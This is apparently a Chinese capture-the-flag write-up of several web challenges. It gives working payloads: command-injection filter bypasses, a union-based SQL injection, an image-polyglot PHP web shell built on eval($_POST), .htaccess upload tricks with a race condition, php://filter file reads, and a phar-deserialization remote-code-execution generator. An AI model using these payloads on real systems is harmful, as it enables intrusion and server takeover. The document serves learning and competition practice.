很明显的命令注入,我们用管道符号|
即可执行我们想要的命令
空格被过滤了,绕过空格的方法有很多,比如
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这儿由于过滤了{ }
等特殊符号,所以沃恩使用$IFS$9
就可以了
这儿又过滤了flag这几个字母,不能连着出现,即f\l\a\g
也不行,我们这儿使用命令拼接的形式a=f;b=l;c=g;d=a;echo $a$b$d$c;
就可以拼接出flag
几个字母
最后的payload
一道简单的MD5注入
一串base32编码,我们先base32解码再base64解码一次,得到select * from user where username = '$name'
,由于题目提示了使用md5加密,而且经过测试有三列,我们大胆猜测第二列为用户名,第三列为密码,这个可以挨着挨着试出来~~
payload:
0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1
其中第一个必须为0,当数据库找不到此用户名时就会使用我们union的数据,其中c4ca4238a0b923820dcc509a6f75849b
为1
的MD5值
一来就是一个上传的界面,老套路了,一般都是上传图片之类的~~
我一般使用的图片马如下
GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
这个既包含png图片的格式,又包含了xbmp
格式的,php也是用方便一把梭~~
我们访问我们上传的图片马,但是没法解析~~
一般要使图片马生效,我们只有好到LFI
的地方,但是这道题目并没有,所以我们试试能不能上传.htaccess
来解析我们的图片~~
提示类型太露骨
我们需要更改一下Content-Type
,改成image/jpeg就行了~~
我们访问试试~~
显示访问不了,明显删除了,所以莫法解析我们的图片,这儿可以使用条件竞争,一直上传.htaccess
和图片,然后就可以解析了~~
看似是一道sql注入的题目,但是试了很多次就没结果,最后直接爆破,得到账号密码为admin password
爆破是安全的最基本操作,以后看见登录框管他三七二十一先爆破一下再说~~
我们登录一下,直接跳转到了一个文件上传界面~~
当初看见有个参数file
的时候还以为是上传图片马然后直接再包含呢 ~~
其实没这么简单~~
随便上传一个文件就会显示上传的地址和文件的内容
但是所有文件都会被加一个txt
的后缀,即变成一个文本文件~~
所以上传的套路都失效了,我们只有另寻他法~~
我们试试可不可以使用伪协议读取文件内容~~
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '
Master, I want to study rizhan!
';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:
".$uploader."
";
echo file_get_contents($uploader);
}
}
?>
我们先简要分析分析一下这段代码,我们可以上传一个文件,但是这个文件的大小有限制,这个没有什么影响,最主要的是这一句代码echo file_get_contents($uploader);
,$uploader
是一个类,所以echo file_get_contents($uploader);
会触发__toString()
,而__toString()
返回的是Filename;
,通过代码我们知道Filename;
我们可控,通过传参isset($_GET['name']
,但是参数name有一定的限制~~
!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])
这儿过滤了data://
;filter://
;php://
;.
,但是出题人多大了一个空格,所以相当于没过滤这几个关键词,所以这儿就产生了非预期解~~
payload:
&name=flag.php
&name=php://filter/read=convert.base64-encode/resource=flag.php
然后任意上传一个文件就可以得到flag,但是此方法只能使用一次~~
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
我们选择一个文件上传,但是内容不会马上上传上去,会有一定时间的延迟,echo file_get_contents($uploader);
也就是说这个时候还会读取原来的flag.php,而不会马上覆盖掉flag.php
我们来演示一下
我们上传一个cacl.py
文件,内容为
我们马上便可以得到flag.php的内容,而不是我们上传的内容~~
我们继续上传另外一个文件~~
这次显示的内容为我们上次上传的文件内容~~
这个两个payload都可以得到flag,但是都只能使用一次~~
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
确实执行cmd需要我们$this->token != $_SESSION['user']
,这个可能已经设定$this->token == $_SESSION['user']
了,只是题目的代码没有给出来,这个问题的限定是针对预期解的~~
因为phar反序列化时会重新设定$this->token
我们可以直接上传一句话木马,由于只是过滤了空格+.
我们上传的内容为
<script language="php"> eval($_POST[xxx]); </script>
此时没有任何返回内容,我们非预期解1已经说清楚了,此时上传有一定的延迟,但是已经上传上去了,我们去访问一下
轻松得到flag~~
这道题的预期解就是考察phar反序列化RCE
file_get_contents()
使$uploader
对象通过__toString()
返回$this->Filename
,由于phar://
伪协议可以不依赖unserialize()
直接进行反序列化操作,加之$this->Filename
可控,因此此处$this->Filename
配合phar反序列化后,__destruct()
方法内eval($this->cmd);
最终导致了远程代码执行
直接给出payload:
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");'; #这儿一定要注意cmd是一句完整的php语句,一定要要加英语分号~~
$o->Filename='test';
$o->token='GXYcb5ae520cb58019b754969f1572f6b6e';
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
这道题目就是常见的爬虫爬取公式,然后输入答案一千次即可
payload:
from requests import *
import re
s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)
得到flag